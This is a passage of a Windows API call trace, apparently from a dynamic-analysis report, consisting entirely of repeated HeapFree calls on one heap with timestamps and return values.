HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.189] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.190] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.190] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.190] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.190] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.191] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.193] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.194] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.194] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.195] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.195] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.195] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.196] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.198] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.201] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.201] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.201] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.206] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.206] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.206] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.206] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.584] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.584] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.584] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.585] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.585] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.585] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.587] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.587] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.587] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.587] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.592] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.594] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0303.594] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.594] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.594] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.597] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.600] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.601] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.604] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.607] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.608] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.608] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.611] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.611] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.611] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.613] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.613] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.613] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.614] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.614] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.614] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.618] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.620] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.621] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.621] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.621] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.622] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.622] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.623] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.624] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.625] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.625] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.626] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.109] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.110] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0304.111] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0304.111] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0304.113] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.113] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.113] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.123] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.123] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.129] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.130] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0304.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0304.134] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.134] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.134] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0304.145] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0304.145] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0304.146] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0304.146] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0304.146] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.147] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0304.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.151] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0304.154] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.156] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.157] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.159] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.161] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.163] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.801] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0304.808] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.810] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.812] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.813] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.815] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.817] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.834] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.836] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.837] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.839] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.841] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.842] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.844] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.846] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.848] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.850] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.852] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.853] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.855] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.857] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.858] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.860] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.370] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.681] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.683] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.685] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.687] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.688] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.690] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.692] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.693] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.695] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.697] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.698] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.700] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.702] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.704] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.706] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0305.709] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.135] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.137] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.138] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.140] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.142] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.143] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.145] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.147] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.149] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.152] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.153] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.155] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.157] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.158] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.160] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.162] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.163] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.165] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0306.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0306.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0306.169] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.169] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.171] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.175] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.176] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.176] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.179] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.179] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.449] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.450] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.468] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0306.475] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.475] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0306.479] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0307.016] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0307.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.019] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0307.025] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.027] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0307.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0307.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0307.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0307.038] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.038] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fee0 | out: hHeap=0x700000) returned 1 [0307.038] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0307.071] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0307.163] HeapFree (in: hHeap=0x700000, 